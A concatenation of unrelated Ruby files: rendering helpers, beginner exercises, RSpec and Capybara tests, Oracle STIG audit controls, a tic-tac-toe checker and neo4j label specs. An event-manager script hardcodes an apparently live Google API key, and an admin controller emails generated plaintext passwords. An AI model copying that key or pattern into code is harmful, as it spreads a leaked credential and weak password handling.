def deprecated_term_parse(node, out)
out.p **{ class: "DeprecatedTerms" } do |p|
p << l10n("#{@deprecated_lbl}: ")
node.children.each { |c| parse(c, p) }
end
end
def termref_render(x)
parts = x.split(%r{(\s*\[MODIFICATION\]|,)}m)
parts[1] = l10n(", #{@source_lbl}") if parts.size > 1 && parts[1] == ","
parts.map do |p|
/\s*\[MODIFICATION\]/.match?(p) ? l10n(", #{@modified_lbl} — ") : p
end.join.sub(/\A\s*/m, l10n("[")).sub(/\s*\z/m, l10n("]"))
end
def termref_resolve(docxml)
docxml.split(%r{(\[TERMREF\]|\[/TERMREF\])}).each_slice(4).
map do |a|
a.size < 3 ? a[0] : a[0] + termref_render(a[2])
end.join
end
def populate_template(docxml, format)
meta = @meta.get.merge(@labels)
logo = @common.format_logo(meta[:gbprefix], meta[:gbscope], format)
logofile = @meta.standard_logo(meta[:gbprefix])
docxml = termref_resolve(docxml)
meta[:standard_agency_formatted] =
@common.format_agency(meta[:standard_agency], format)
meta[:standard_logo] = logo
template = Liquid::Template.parse(docxml)
template.render(meta.map { |k, v| [k.to_s, v] }.to_h)
end
def foreword(isoxml, out)
f = isoxml.at(ns("//foreword")) || return
page_break(out)
out.div do |s|
s.h1 **{ class: "ForewordTitle" } do |h1|
h1 << "#{@foreword_lbl} "
# insert_tab(h1, 1)
end
f.elements.each { |e| parse(e, s) unless e.name == "title" }
end
end
def clause_name(num, title, div, header_class)
header_class = {} if header_class.nil?
div.h1 **attr_code(header_class) do |h1|
if num && !@suppressheadingnumbers
h1 << "#{num}."
h1 << " "
end
h1 << title
end
div.parent.at(".//h1")
end
def clause_parse_title(node, div, c1, out)
if node["inline-header"] == "true"
inline_header_title(out, node, c1)
else
div.send "h#{get_anchors[node['id']][:level]}" do |h|
h << "#{get_anchors[node['id']][:label]}. " if !@suppressheadingnumbers
c1 and c1.children.each { |c2| parse(c2, h) }
end
end
end
def annex_name(annex, name, div)
div.h1 **{ class: "Annex" } do |t|
t << "#{get_anchors[annex['id']][:label]}<br/><br/>"
t.b do |b|
name&.children&.each { |c2| parse(c2, b) }
end
end
end
def term_defs_boilerplate(div, source, term, preface)
unless preface
(source.empty? && term.nil?) and div << @no_terms_boilerplate or
div << term_defs_boilerplate_cont(source, term)
end
#div << @term_def_boilerplate unless preface
end
=begin
def reference_names(ref)
isopub = ref.at(ns(ISO_PUBLISHER_XPATH))
docid = ref.at(ns("./docidentifier"))
date = ref.at(ns("./date[@type = 'published']"))
allparts = ref.at(ns("./allparts"))
reference = format_ref(docid.text, isopub, date, allparts)
@anchors[ref["id"]] = { xref: reference }
end
=end
end
end
end
|
# Write your code here.
katz_deli = []
# 1. Build the `line` method that shows everyone their current place in the line. If there is nobody in line, it should say `"The line is currently empty."`.
def line(queue)
deli_line = "The line is currently:"
if queue.size == 0
puts "The line is currently empty."
return
else
queue.each_with_index do |person, index|
deli_line = deli_line + " #{index + 1}. #{person}"
end
end
puts deli_line
end
# 2. Build a method that a new customer will use when entering the deli. The `take_a_number` method should accept two arguments, the array for the current line of people (`katz_deli`), and a string containing the name of the person wishing to join the line. The method should return the person's name along with their position in line. **Top-Tip:** *Remember that people like to count from* `1`*, not from* `0` *("zero") like computers.*
def take_a_number(queue, name)
queue << name
puts "Welcome, #{name}. You are number #{queue.size} in line."
end
# 3. Build the `now_serving` method which should call out (i.e. `puts`) the next person in line and then remove them from the front. If there is nobody in line, it should call out (`puts`) that `"There is nobody waiting to be served!"`.
def now_serving(queue)
if queue.size == 0
puts "There is nobody waiting to be served!"
else
customer = queue.shift()
puts "Currently serving #{customer}."
end
end |
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'RailsAdmin Devise Authentication', type: :request do
subject { page }
let!(:user) { FactoryBot.create :user }
before do
RailsAdmin.config do |config|
config.authenticate_with do
warden.authenticate! scope: :user
end
config.current_user_method(&:current_user)
end
end
it 'supports logging-in', js: true do
visit dashboard_path
fill_in 'Email', with: user.email
fill_in 'Password', with: 'password'
click_button 'Log in'
is_expected.to have_css 'body.rails_admin'
end
it 'supports logging-out', js: true do
login_as user
visit dashboard_path
click_link 'Log out'
is_expected.to have_content 'Log in'
end
end
|
require "completeness/version"
require "active_support/concern"
require "active_support/core_ext/object/blank"
require "active_support/core_ext/object/try"
require "active_support/core_ext/class"
# Helps calculate the percent of populated fields of the object
# ==== Examples
# class Profile
# attr_accessor :addresses
# include Completeness
# completeness_shares = { addresses: {:if => 'any?', weight: 20} }
# end
#
# p = Profile.new
# p.completeness # => 0 . No exception even 'addresses' is nil and does not respond to 'any?'
# p.addresses = []
# p.completeness # => 0. Still works as [].any? == false
# p.addresses << 'Location 1'
# p.completeness # => 20
#
module Completeness
extend ActiveSupport::Concern
#completeness_shares =
# {
# contact_email: { :if => 'present?', weight: 60 },
# contact_phone: { :if => 'present?', weight: 40 },
# }
included do
self.class_attribute :completeness_defaults
self.completeness_defaults = {:if => "present?"}
self.class_attribute :completeness_shares
self.completeness_shares = {}
end
module ClassMethods
def define_completeness(shares, custom_options = {} )
default_options = {
define_boolean_methods: true,
validate_shares: true
}
options = default_options.merge custom_options
self.completeness_shares = shares
completeness_validate_shares if options[:validate_shares]
completeness_define_boolean_methods if options[:define_boolean_methods]
end
# Returns completeness weight option of the field
def completeness_weight_of(field)
completeness_share_of(field)[:weight]
end
# Returns title of the field:
# - as :title option
# - as humanized field name if :title option is not specified
def completeness_title_of(field)
completeness_share_of(field)[:title] || field.to_s.humanize.split.map(&:capitalize).join(' ')
end
# Return completeness weight of the field configured for current object
def completeness_share_of(field)
completeness_shares[field] or raise "Completeness share is not defined for '#{field}' of #{self.class.name}"
end
protected
# let we have defined completeness on user model like:
# {
# email: { title: 'Email address', weight: 80 }
# addresses: { title: 'Addresses', weight: 20, boolean_method: 'address_provided' },
# }
# then you will get user.address_provided? method defined which return true in case weight of this field > 0.
# we defined additional field instead of using user.addresses.present? because it will return true for empty array.
def completeness_define_boolean_methods
completeness_shares.each do |field, meta|
if meta[:boolean_method]
method_name = "#{meta[:boolean_method]}".to_sym
raise "Oops, #{method_name} is already defined on the #{self.class.name}." +
" Consider another name for boolean field." if method_defined? method_name
define_method method_name do
completeness_of(field) > 0
end
end
end
end
def completeness_validate_shares
sum = completeness_shares.values.map{|share| share[:weight]}.inject(0) { |sum, value| sum + value }
raise "Expected completeness weights sum to be 100, but got #{sum}." if sum != 100
end
end
include ClassMethods
# More complex condition can be if object has several states depended on e.g workflow or permissions.
# In that case list of shares can vary for different objects.
# Then we can add flipper like :when => lambda { self.has_extended_properties? }
# Determines completeness of 'field' based on +completeness_shares+ conditions.
# Conditions are verified softly, not raising exception when rule is not applicable.
def completeness_of(field)
share = completeness_share_of(field)
self.send(field).try((share[:if] || self.completeness_defaults[:if]).to_sym) ? share[:weight] : 0
end
# Calculates sum of weights of all complete fields
def completeness
completeness_shares.keys.inject(0) do |result, field|
result += completeness_of(field)
end
end
# True if completeness = 100%. In other words if all fields are complete.
def complete?
completeness == 100
end
# Returns fields whose completeness = 0
def incomplete_fields
completeness_shares.keys.select{|field| completeness_of(field) == 0 }
end
end |
require 'rails_helper'
RSpec.describe Admin::SponsorsController, :type => :controller do
let(:admin) { create :user }
before { sign_in admin }
describe 'index' do
it 'returns http success' do
get :index
expect(response).to be_success
assigns(:sponsors)
end
end
describe 'new' do
it 'returns http success' do
get :new
expect(response).to be_success
assigns(:sponsor)
end
end
describe 'edit' do
let(:sponsor) { create :sponsor }
it 'returns http success' do
get :edit, id: sponsor.id
expect(response).to be_success
assigns(:sponsor)
end
end
describe 'create' do
it 'creates a new sponsor record' do
expect{ post :create, sponsor: attributes_for(:sponsor) }.
to change(Sponsor, :count).by(1)
end
end
describe 'update' do
let!(:sponsor) { create :sponsor }
it 'updates existing sponsor record' do
put :update, id: sponsor.id, sponsor: { name: 'New name' }
expect(sponsor.reload.name).to eq 'New name'
end
end
describe 'destroy' do
let!(:sponsor) { create :sponsor }
it 'deletes a sponsor record' do
expect { delete :destroy, id: sponsor }.to change{ Sponsor.count }.by(-1)
end
end
end
|
class Admin::ClientsController < ApplicationController
before_action :require_admin_user
layout "admin/admin"
def index
@clients = Client.all
end
def new
@client = Client.new
end
end
|
require 'rails_helper'
RSpec.describe "home/index.html.erb", :type => :view do
it 'display home page correctly' do
render
rendered.expect have_selector('h1', text: 'Home#index')
end
end
|
require 'spec_helper'
describe PaymentDetailsController do
after(:all) do
User.delete_all
end
before(:each) do
@request.env["devise.mapping"] = Devise.mappings[:user]
FactoryGirl.create(:configuration_setting)
@user = FactoryGirl.create(:user, payment_method: true, confirmed_at: "2013-05-28 06:38:19.499604")
@user.confirm! # set a confirmed_at inside the factory. Only necessary if you are using the confirmable module
sign_in @user
end
describe "GET #index" do
it "should have new paypaldetail" do
get :index
end
it "renders the :index view" do
get :index
response.should render_template :index
end
end
#=======================fail case==============================
describe "GET #index" do
it "should have new paypaldetail" do
get :index
response.should_not render_template :index
end
it "renders the :index view" do
get :index
response.should_not render_template :index
end
end
end
|
# require 'csv'
# puts 'EventManager Initialized!'
## How to open a file
# contents = File.read('event_attendees.csv')
# puts contents
## How to load a file
# lines = File.readlines('event_attendees.csv')
# lines.each_with_index do |line, index|
# next if index == 0
# columns = line.split(',')
# name = columns[2]
# puts name
# end
## How to parse CSV
# contents = CSV.open(
# 'event_attendees.csv',
# headers: true,
# header_converters: :symbol
# )
# contents.each do |row|
# name = row[:first_name]
# zipcode = row[:zipcode]
# puts "#{name} #{zipcode}"
# end
## Iteration 2: Cleaning up our Zip Codes
# contents = CSV.open(
# 'event_attendees.csv',
# headers: true,
# header_converters: :symbol
# )
# def clean_zipcode(zipcode)
# # if zipcode.nil?
# # '00000'
# # elsif zipcode.length < 5
# # zipcode.rjust(5, '0')
# # elsif zipcode.length > 5
# # zipcode[0..4]
# # else
# # zipcode
# # end
# zipcode.to_s.rjust(5, '0')[0..4]
# end
# contents.each do |row|
# name = row[:first_name]
# zipcode = clean_zipcode(row[:zipcode])
# puts "#{name} #{zipcode}"
# end
# Iteration 3: Using Google’s Civic Information
# require 'csv'
# require 'google/apis/civicinfo_v2'
# def clean_zipcode(zipcode)
# zipcode.to_s.rjust(5, '0')[0..4]
# end
# def legislators_by_zipcode(zip)
# civic_info = Google::Apis::CivicinfoV2::CivicInfoService.new
# civic_info.key = 'AIzaSyClRzDqDh5MsXwnCWi0kOiiBivP6JsSyBw'
# begin
# legislators = civic_info.representative_info_by_address(
# address: zip,
# levels: 'country',
# roles: ['legislatorUpperBody', 'legislatorLowerBody']
# )
# legislators = legislators.officials
# legislators_names = legislators.map(&:name)
# legislators_names.join(', ')
# rescue
# 'You can find your representatives by visiting www....'
# end
# end
# puts 'EventManager initialized.'
# contents = CSV.open(
# 'event_attendees.csv',
# headers: true,
# header_converters: :symbol
# )
# contents.each do |row|
# name = row[:first_name]
# zipcode = clean_zipcode(row[:zipcode])
# legislators = legislators_by_zipcode(zipcode)
# puts "#{name} #{zipcode} #{legislators}"
# end
# Iteration 4: Form Letters
require 'csv'
require 'google/apis/civicinfo_v2'
require 'erb'
require 'date'
def clean_zipcode(zipcode)
zipcode.to_s.rjust(5, "0")[0..4]
end
def clean_phone(phone)
phone = phone.gsub(/\D/, "")
if phone.length < 10
"Bad number - too short"
elsif phone.length == 10
phone
elsif phone.length == 11
if phone[0] == '1'
phone[1..-1]
else
"Bad number, 11 but not 1"
end
else
"Bad number - too big"
end
end
def legislators_by_zipcode(zip)
civic_info = Google::Apis::CivicinfoV2::CivicInfoService.new
civic_info.key = 'AIzaSyClRzDqDh5MsXwnCWi0kOiiBivP6JsSyBw'
begin
civic_info.representative_info_by_address(
address: zip,
levels: 'country',
roles: ['legislatorUpperBody', 'legislatorLowerBody']
).officials
rescue
'You can find you representatives by visiting www.commoncause.org/take-action/find-elected-officials'
end
end
def save_thank_you_letter(id, form_letter)
Dir.mkdir('output') unless Dir.exists?('output')
filename = "output/thanks_#{id}.html"
File.open(filename, 'w') do |file|
file.puts form_letter
end
end
def reg_info(info, reg_dates, reg_hours, reg_weekdays)
date, hour = info
date = Date.strptime(date, "%m/%d/%y")
weekday = date.strftime("%A")
hour = DateTime.strptime(hour, "%H:%M").hour
reg_dates[date.day] += 1
reg_weekdays[weekday] += 1
reg_hours[hour] += 1
end
puts 'EventManager initialized.'
contents = CSV.open(
'event_attendees.csv',
headers: true,
header_converters: :symbol
)
template_letter = File.read('form_letter.erb')
erb_template = ERB.new template_letter
reg_dates = Hash.new(0)
reg_hours = Hash.new(0)
reg_weekdays = Hash.new(0)
contents.each do |row|
id = row[0]
name = row[:first_name]
zipcode = clean_zipcode(row[:zipcode])
phone = clean_phone(row[:homephone])
info = row[:regdate].split(" ")
reg_info(info, reg_dates, reg_hours, reg_weekdays)
legislators = legislators_by_zipcode(zipcode)
form_letter = erb_template.result(binding)
# save_thank_you_letter(id, form_letter)
end
puts "Top registration day: #{reg_dates.key(reg_dates.values.max)}"
puts "Top registration weekday: #{reg_weekdays.key(reg_weekdays.values.max)}"
puts "Top registration hour: #{reg_hours.key(reg_hours.values.max)}h"
|
class RoomChannel < ApplicationCable::Channel
def subscribed
stream_from "room_channel_#{params[:room]}"
end
def unsubscribed
# Any cleanup needed when channel is unsubscribed
end
def move(data)
ActionCable.server.broadcast("room_channel_#{data['room']}", id: data['id'])
end
end
|
class FavoriteLocation
def initialize(locations)
@locations = locations
end
def location_hash
@locations
end
end
|
# Helper Method
def position_taken?(board, location)
!(board[location].nil? || board[location] == " ")
end
# Define your WIN_COMBINATIONS constant
WIN_COMBINATIONS = [
# top row win
[0, 1, 2],
# middle row win
[3, 4, 5],
# bottom row win
[6, 7, 8],
# vertical left column win
[0, 3, 6],
# vertical middle column win
[1, 4, 7],
# vertical last column win
[2, 5, 8],
# diagonal left to right win
[0, 4, 8],
# diagonal right to left win
[2, 4, 6]
]
def won?(board)
WIN_COMBINATIONS.detect do |win_combo|
position_taken?(board, win_combo[0]) && (board[win_combo[0]] == board[win_combo[1]]) && (board[win_combo[1]] == board[win_combo[2]])
end
end
def full?(board)
WIN_COMBINATIONS.all? do |full_board|
position_taken?(board, full_board[0])
end
end
def draw?(board)
if full?(board) && !won?(board)
return true
end
end
def over?(board)
if full?(board) || won?(board) || draw?(board)
return true
end
end
def winner(board)
WIN_COMBINATIONS.detect do |winner|
if position_taken?(board, winner[0]) && board[winner[0]] == "X" && board[winner[1]] == "X" && board[winner[2]] == "X"
return "X"
elsif position_taken?(board, winner[0]) && board[winner[0]] == "O" && board[winner[1]] == "O" && board[winner[2]] == "O"
return "O"
end
end
end |
# A single checkpoint on the map
class Checkpoint
attr_reader :trigger_shape
def self.new_with(map:, space:)
static_body = CP::StaticBody.new
checkpoints = map['checkpoints'].map do |(start, finish)|
Checkpoint.new(
from: start, to: finish, static_body: static_body, tilesize: map['tilesize']
)
end
checkpoints[map['flag_index']].trigger_shape.object[:is_flag] = true
checkpoints.each { |checkpoint| space.add_shape(checkpoint.trigger_shape) }
checkpoints
end
def initialize(from:, to:, static_body:, tilesize:)
vec1 = CP::Vec2.new(*from.map { |n| n * tilesize })
vec2 = CP::Vec2.new(*to.map { |n| n * tilesize })
@trigger_shape = CP::Shape::Segment.new(static_body, vec1, vec2, 10)
trigger_shape.sensor = true
trigger_shape.collision_type = :checkpoint
trigger_shape.object = { is_flag: false }
end
def update
# noop
end
end
|
# encoding: utf-8
control "V-53987" do
title "Oracle roles granted using the WITH ADMIN OPTION must not be granted to unauthorized accounts."
desc "The WITH ADMIN OPTION allows the grantee to grant a role to another database account. Best security practice restricts the privilege of assigning privileges to authorized personnel. Authorized personnel include DBA's, object owners, and, where designed and included in the application's functions, application administrators. Restricting privilege-granting functions to authorized accounts can help decrease mismanagement of privileges and wrongful assignments to unauthorized accounts.false"
impact 0.5
tag "check": "Run the SQL query:
select grantee||': '||granted_role from dba_role_privs
where grantee not in
(<list of non-applicable accounts>)
and admin_option = 'YES'
and grantee not in
(select distinct owner from dba_objects)
and grantee not in
(select grantee from dba_role_privs
where granted_role = 'DBA')
order by grantee;
(With respect to the list of special accounts that are excluded from this requirement, it is expected that the DBA will maintain the list to suit local circumstances, adding special accounts as necessary and removing any that are not supposed to be in use in the Oracle deployment that is under review.)
Review the System Security Plan to confirm any grantees listed are ISSO-authorized DBA accounts or application administration roles.
If any grantees listed are not authorized and documented, this is a Finding."
tag "fix": "Revoke assignment of roles with the WITH ADMIN OPTION from unauthorized grantees and re-grant them without the option if required.
From SQL*Plus:
revoke [role name] from [grantee];
grant [role name] to [grantee];
Restrict use of the WITH ADMIN OPTION to authorized administrators.
Document authorized role assignments with the WITH ADMIN OPTION in the System Security Plan."
# Write Check Logic Here
end |
require 'test_helper'
class UploadsPage < ActionDispatch::IntegrationTest
setup do
SignInRick.call(self);
@project = Project.unscoped.where(name: "Police Station").first
end
test "list all uploads for project" do
visit "/projects/#{@project.id}/uploads"
Upload.unscoped.where(project: @project).each do |upload|
assert page.has_content?(upload.name)
end
end
test "uploading a file" do
visit "/projects/#{@project.id}/uploads"
# The actual file input field is hidden by CSS, we need to unhide it
# here so Capybara can find it.
page.execute_script("document.querySelector('form').style.display = 'block';")
page.find("input[name=files]")
page.attach_file "files", "/Users/David/Desktop/banner.png"
assert page.has_content?("banner.png"), "has content 'banner.png' when added"
assert page.find("a", text: "banner.png");
assert page.has_no_content?("cancel");
visit "/projects"
visit "/projects/#{@project.id}/uploads"
assert page.has_content?("banner.png"), "has content 'banner.png' when revisiting page"
page.find("tbody > tr:nth-child(3)")
page.within("tbody > tr:nth-child(3)") do
click_link("delete")
end
assert page.has_no_content?("banner.png")
end
end
|
require 'rubygems'
require 'bundler/setup'
require 'grape'
require 'grape/apidoc'
class TestAPI < Grape::API
default_format :json
desc "say hello"
params do
requires :name, type: String, desc: "Your name"
optional :a_number, type: Integer, desc: "A number"
end
get do
{:message => "Hello #{params[:name]}"}
end
desc "a + b", :notes => "Some notes"
params do
requires :a, :b, type: Integer, desc: "numbers"
end
get '/add' do
params[:a] + params[:b]
end
desc "Coerce"
params do
optional :arr, coerce: Array[Integer]
end
get '/coerce' do
params[:arr].inject(&:+)
end
end
use Rack::CommonLogger
Grape::Apidoc::Browser.setup(self, :root_path => '/browser') do |g|
g.add_grape_api('/api', TestAPI)
end
map '/api' do
run TestAPI
end
|
class AddBeginendToTarea < ActiveRecord::Migration[5.0]
def change
add_column :tareas, :begin_time, :datetime
add_column :tareas, :end_time, :datetime
end
end
|
class Sysadmin::UsersController < Sysadmin::BaseController
# load_and_authorize_resource
helper_method :sort_column, :sort_direction
set_tab :users
def index
@users = User.sysadmins.exclude_users([current_user.id]).order(sort_column + " " + sort_direction).page(params[:page]).per(10)
respond_to do |format|
format.html # index.html.erb
end
end
def new
@user = User.new(params[:user], as: :manager)
respond_to do |format|
format.html # new.html.erb
format.modal { render action: :new, formats: [:html], layout: false }
end
end
def create
@user = User.new(params[:user], as: :manager)
random_password = Devise.friendly_token.first(6)
@user.password = random_password
@user.password_confirmation = random_password
@user.role = User::MANAGER
@user.sysadmin = true
respond_to do |format|
if @user.save
CompanyMailer.user_created_email(current_user, @user, @user.password).deliver
# disable for now as admin users do not exist
AdminMailer.new_admin_user_created(@user).deliver
format.html { redirect_to sysadmin_users_url, notice: "#{@user.full_name} #{t 'is_now_created', default: 'is created'}. #{t 'an_email_was_sent_to', default: 'An email was sent to'} #{@user.email}." }
format.js
else
format.html { render action: "new" }
format.js
end
end
end
def deactivate
@user = User.find(params[:id])
@user.active = false
if @user.save
redirect_to sysadmin_users_url, notice: "#{@user.full_name} #{t 'is_now_deactivated', default: 'is deactivated'}."
else
redirect_to sysadmin_users_url, alert: "Cannot deactivate user #{@user.full_name}. Please contact system administrator."
end
end
def activate
@user = User.find(params[:id])
@user.active = true
if @user.save
redirect_to sysadmin_users_url, notice: "#{@user.full_name} #{t 'is_now_activated', default: 'is activated'}."
else
redirect_to sysadmin_users_url, alert: "Cannot activate user #{@user.full_name}. Please contact system administrator."
end
end
private
def sort_direction
%w[asc desc].include?(params[:direction]) ? params[:direction] : "asc"
end
def sort_column
User.column_names.include?(params[:sort]) ? params[:sort] : "first_name"
end
end |
require 'eb_ruby_client/connection'
RSpec.describe EbRubyClient::Connection do
let(:base_url) { "http://some.url/" }
let(:token) { "http://some.url/" }
let(:configuration) { double(:configuration, base_url: base_url, auth_token: token)}
let(:path) { "some/path" }
let(:full_path) { "#{base_url}/#{path}"}
subject(:connection) { EbRubyClient::Connection.new(configuration: configuration) }
before do
stub_request(:any, full_path).to_return(status: 200, body: "{}")
end
describe "get" do
it "makes a GET request to full URL" do
connection.get(path)
expect(WebMock).to have_requested(:get, full_path)
end
context "when the API is using HTTPs" do
let(:base_url) { "https://some.url/" }
it "makes an HTTPS request" do
connection.get(path)
expect(WebMock).to have_requested(:get, full_path)
end
end
it "adds the authentication header to the request" do
connection.get(path)
expect(WebMock).to have_requested(:get, full_path).with(
headers: {"Authorization" => "Bearer #{token}"}
)
end
context "when the response is success" do
let(:data) { {"some" => "thing"} }
let(:body) { data.to_json }
before do
stub_request(:get, full_path).to_return(status: 200, body: body)
end
it "returns the JSON parsed body" do
response = connection.get(path)
expect(response).to eq(data)
end
end
context "when the response is redirection" do
let(:other_url) { "http://other.url/" }
let(:data) { {"some" => "thing"} }
let(:body) { data.to_json }
before do
stub_request(:get, full_path).to_return(
status: 302,
headers: { "Location" => "http://other.url/"}
)
stub_request(:get, other_url).to_return(status: 200, body: body)
end
it "follows the redirection" do
connection.get(path)
expect(WebMock).to have_requested(:get, full_path).once
expect(WebMock).to have_requested(:get, other_url).once
end
it "returns the JSON parsed body the first successful response" do
response = connection.get(path)
expect(response).to eq(data)
end
context "when there is a redirection loop" do
before do
stub_request(:get, other_url).to_return(
status: 302,
headers: { "Location" => full_path}
)
end
it "raises an exception" do
expect { connection.get(path) }.to raise_error(EbRubyClient::RedirectionLoop)
end
end
end
context "when the response is an error" do
before do
stub_request(:get, full_path).to_return(status: 500, body: "")
end
it "raises an exception" do
expect { connection.get(path) }.to raise_error(EbRubyClient::RequestFailure)
end
context "when the response contains an error description" do
let(:description) { "invalid request" }
let(:body) { {"error_description" => description}.to_json }
before do
stub_request(:get, full_path).to_return(status: 500, body: body)
end
it "adds the description to the exception" do
caught_description = nil
begin
connection.get(path)
rescue EbRubyClient::RequestFailure => e
caught_description = e.description
end
expect(caught_description).to eq(description)
end
end
end
end
describe "#post" do
let(:post_data) { {"one" => "hat", "two" => "scarf"} }
it "makes a POST request to full URL" do
connection.post(path, post_data)
expect(WebMock).to have_requested(:post, full_path).with(body: "one=hat&two=scarf")
end
context "when the API is using HTTPs" do
let(:base_url) { "https://some.url/" }
it "makes an HTTPS request" do
connection.post(path, post_data)
expect(WebMock).to have_requested(:post, full_path).with(body: "one=hat&two=scarf")
end
end
it "adds the authentication header to the request" do
connection.post(path, post_data)
expect(WebMock).to have_requested(:post, full_path).with(
headers: {"Authorization" => "Bearer #{token}"}
)
end
context "when the response is success" do
let(:data) { {"some" => "thing"} }
let(:body) { data.to_json }
before do
stub_request(:post, full_path).to_return(status: 200, body: body)
end
it "returns the JSON parsed body" do
response = connection.post(path, post_data)
expect(response).to eq(data)
end
end
context "when the response is redirection" do
let(:other_url) { "http://other.url/" }
let(:data) { {"some" => "thing"} }
let(:body) { data.to_json }
before do
stub_request(:post, full_path).to_return(
status: 302,
headers: { "Location" => "http://other.url/"}
)
stub_request(:post, other_url).to_return(status: 200, body: body)
end
it "follows the redirection" do
connection.post(path, post_data)
expect(WebMock).to have_requested(:post, full_path).with(body: "one=hat&two=scarf").once
expect(WebMock).to have_requested(:post, other_url).with(body: "one=hat&two=scarf").once
end
it "returns the JSON parsed body the first successful response" do
response = connection.post(path, post_data)
expect(response).to eq(data)
end
context "when there is a redirection loop" do
before do
stub_request(:post, other_url).to_return(
status: 302,
headers: { "Location" => full_path}
)
end
it "raises an exception" do
expect { connection.post(path, post_data) }.to raise_error(EbRubyClient::RedirectionLoop)
end
end
end
context "when the response is an error" do
before do
stub_request(:post, full_path).to_return(status: 500, body: "")
end
it "raises an exception" do
expect { connection.post(path, post_data) }.to raise_error(EbRubyClient::RequestFailure)
end
context "when the response contains an error description" do
let(:description) { "invalid request" }
let(:body) { {"error_description" => description}.to_json }
before do
stub_request(:post, full_path).to_return(status: 500, body: body)
end
it "adds the description to the exception" do
caught_description = nil
begin
connection.post(path, post_data)
rescue EbRubyClient::RequestFailure => e
caught_description = e.description
end
expect(caught_description).to eq(description)
end
end
end
end
end
|
# GSPlan - Team commitment planning
#
# Copyright (C) 2008 Jan Schrage <jan@jschrage.de>
#
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU
# General Public License as published by the Free Software Foundation, either version 3 of the License,
# or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with this program.
# If not, see <http://www.gnu.org/licenses/>.
class Projecttrack < ActiveRecord::Base
belongs_to :team
belongs_to :project
validates_presence_of :team_id, :project_id, :reportdate, :daysbooked, :yearmonth
validates_numericality_of :daysbooked
validate :daysbooked_is_positive, :track_is_in_project_timeframe, :no_crystal_ball, :track_is_unique
protected
def daysbooked_is_positive
errors.add(:daysbooked, "Days booked must be >0") if daysbooked.nil? || daysbooked <= 0
end
def track_is_in_project_timeframe
project = Project.find_by_id(project_id)
return if project.nil?
if yearmonth < project.planbeg or yearmonth > project.planend
errors.add(:yearmonth, "The booked days must be within the timeframe of the project ("+project.planbeg.to_s+" - "+project.planend.to_s+").")
end
end
def no_crystal_ball
return if yearmonth.nil? or reportdate.nil?
errors.add(:yearmonth, "This booking is for the future. Your crystal ball just shattered.") if yearmonth > reportdate
end
def track_is_unique
return if yearmonth.nil? or project_id.nil? or team_id.nil? or reportdate.nil?
prevtracks = Projecttrack.find(:first, :conditions => ["project_id = ? and team_id = ? and yearmonth = ? and reportdate = ?", project_id, team_id, yearmonth, reportdate])
if !prevtracks.nil?
errors.add(:reportdate, "Track for this team/project/period/report date already exists.") unless prevtracks.id == self.id
end
end
end
|
class Post < ActiveRecord::Base
belongs_to :user
has_many :categorizations, :dependent => :destroy
has_many :categories, through: :categorizations
end
|
#
# network_interfaces.rb - A simple wrapper class for ifconfig.rb
#
# Usage:
#
# NetworkInterfaces.each do | each |
# p each.ip_address
# p each.subnet
# p each.netmask
# ...
# end
#
require 'ifconfig'
class NetworkInterfaces
ifconfig = IfconfigWrapper.new.parse
@@interfaces = ifconfig.interfaces.collect do | each |
interface = ifconfig[ each ]
def interface.netmask
networks[ 'inet' ] ? networks[ 'inet' ].mask : nil
end
def interface.ip_address
addresses( 'inet' ) ? addresses( 'inet' ).to_s : nil
end
def interface.subnet
if ip_address and netmask
return Network.network_address( ip_address, netmask )
end
end
interface
end
def self.method_missing method, *args, &block
@@interfaces.__send__ method, *args, &block
end
end
### Local variables:
### mode: Ruby
### coding: utf-8-unix
### indent-tabs-mode: nil
### End:
|
module DiningPhilosophers
module V1
class Philosopher
def initialize(name)
@name = name
end
def dine(table, position)
@left_chopstick = table.left_chopstick_at(position)
@right_chopstick = table.right_chopstick_at(position)
loop do
think
eat
end
end
def think
puts "#{@name} is thinking."
end
def eat
take_chopsticks
puts "#{@name} is eating."
drop_chopsticks
end
def take_chopsticks
@left_chopstick.take
@right_chopstick.take
end
def drop_chopsticks
@left_chopstick.drop
@right_chopstick.drop
end
end
end
end
|
# encoding: utf-8
control "V-53985" do
title "System Privileges must not be granted to PUBLIC."
desc "System privileges can be granted to users and roles and to the user group PUBLIC. All privileges granted to PUBLIC are accessible to every user in the database. Many of these privileges convey considerable authority over the database and are granted only to those persons responsible for administering the database. In general, these privileges should be granted to roles and then the appropriate roles should be granted to users. System privileges should never be granted to PUBLIC as this could allow users to compromise the database.false"
impact 0.5
tag "check": "From SQL*Plus:
select privilege from dba_sys_privs where grantee = 'PUBLIC';
If any records are returned, this is a Finding."
tag "fix": "Revoke any system privileges assigned to PUBLIC:
From SQL*Plus:
revoke [system privilege] from PUBLIC;
Replace [system privilege] with the named system privilege.
NOTE: System privileges are not granted to PUBLIC by default and would indicate a custom action."
# Write Check Logic Here
end |
RSpec.shared_examples 'Neo4j::Label' do
before(:all) do
r = Random.new
@label1 = ('R1 ' + r.rand(0..1_000_000).to_s).to_sym
@label2 = ('R2 ' + r.rand(0..1_000_000).to_s).to_sym
@random_label = ('R3 ' + r.rand(0..1_000_000).to_s).to_sym
@red1 = Neo4j::Node.create({}, @label1)
@red2 = Neo4j::Node.create({}, @label1)
@green = Neo4j::Node.create({}, @label2)
end
describe 'Neo4j::Node' do
describe 'add_labels' do
it 'can add labels' do
node = Neo4j::Node.create
node.add_label(:new_label)
expect(node.labels).to include(:new_label)
end
it 'escapes label names' do
node = Neo4j::Node.create
node.add_label(':bla')
expect(node.labels).to include(:':bla')
end
it 'can set several labels in one go' do
node = Neo4j::Node.create
node.add_label(:one, :two, :three)
expect(node.labels).to include(:one, :two, :three)
end
end
describe 'set_label' do
it 'replace old labels with new ones' do
node = Neo4j::Node.create({}, :one, :two)
node.set_label(:three)
node = Neo4j::Node.load(node.neo_id)
expect(node.labels).to eq([:three])
end
it 'allows setting several labels in one go' do
node = Neo4j::Node.create({}, :one, :two)
node.set_label(:two, :three, :four)
node = Neo4j::Node.load(node.neo_id)
expect(node.labels).to match_array([:two, :three, :four])
end
it 'can remove all labels' do
node = Neo4j::Node.create({}, :one, :two)
node.set_label
node = Neo4j::Node.load(node.neo_id)
expect(node.labels).to eq([])
end
it 'does not change labels if there is no change' do
node = Neo4j::Node.create({}, :one, :two)
